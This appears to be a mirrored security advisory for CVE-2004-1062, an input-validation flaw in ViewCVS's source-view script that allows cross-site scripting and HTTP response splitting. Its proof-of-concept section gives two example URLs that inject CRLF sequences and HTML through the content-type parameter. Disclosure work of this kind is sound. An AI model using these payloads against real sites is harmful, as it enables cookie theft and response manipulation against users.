ViewCVS Source View Input Validation Vulnerability

BID:12112

Info

ViewCVS Source View Input Validation Vulnerability

Bugtraq ID: 12112
Class: Input Validation Error
CVE: CVE-2004-1062
Remote: Yes
Local: No
Published: Dec 26 2004 12:00AM
Updated: Mar 28 2007 11:03PM
Credit: Discovery is credited to Joxean Koret.
Vulnerable: ViewVC ViewVC 1.0.3
ViewVC ViewVC 1.0.2
ViewCVS ViewCVS 0.9.2
- Apache Software Foundation Apache 1.3.24
- Apache Software Foundation Apache 1.3.24
- Apache Software Foundation Apache 1.3.23
- Apache Software Foundation Apache 1.3.23
- Apache Software Foundation Apache 1.3.22
- Apache Software Foundation Apache 1.3.22
- Apache Software Foundation Apache 1.3.20
- Apache Software Foundation Apache 1.3.20
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ S.u.S.E. Linux Personal 9.2
+ S.u.S.E. Linux Personal 9.1
+ S.u.S.E. Linux Personal 9.0 x86_64
+ S.u.S.E. Linux Personal 9.0
Not Vulnerable: ViewCVS ViewCVS 1.0 -dev

Discussion

ViewCVS Source View Input Validation Vulnerability

ViewCVS is prone to an input-validation vulnerability.

This issue resides in the script that allows users to view source files (viewcvs.py). The software fails to sufficiently sanitize nput supplied through URI parameters, allowing an attacker to launch cross-site scripting and HTTP-response-splitting attacks.

Exploitation could allow the attacker to steal cookie-based authentications and launch other attacks.

This issue appears similar to BID 9291.

Exploit / POC

ViewCVS Source View Input Validation Vulnerability

The following examples were submitted:

http://www.example.com/cgi-bin/viewcvs/project/source.file?rev=HEAD&content-type=text/html%0d%0a%0d%0a<html><body%20bgcolor="black"><
+font%20size=7%20color=red>XSS%20or%20HTTP%20Response%20Splitting</font></html>

http://www.example.com/cgi-bin/viewcvs/*checkout*/project/source.file?rev=1.0&content-type=text/html%0d%0aContent-Length:1937%0d%0a%0
+d%0aHi

Solution / Fix

ViewCVS Source View Input Validation Vulnerability

Solution:
The issue is reportedly addressed in ViewCVS 1.0-dev. Symantec has not confirmed this.

Please see the references for more information.


ViewCVS ViewCVS 0.9.2

References

ViewCVS Source View Input Validation Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report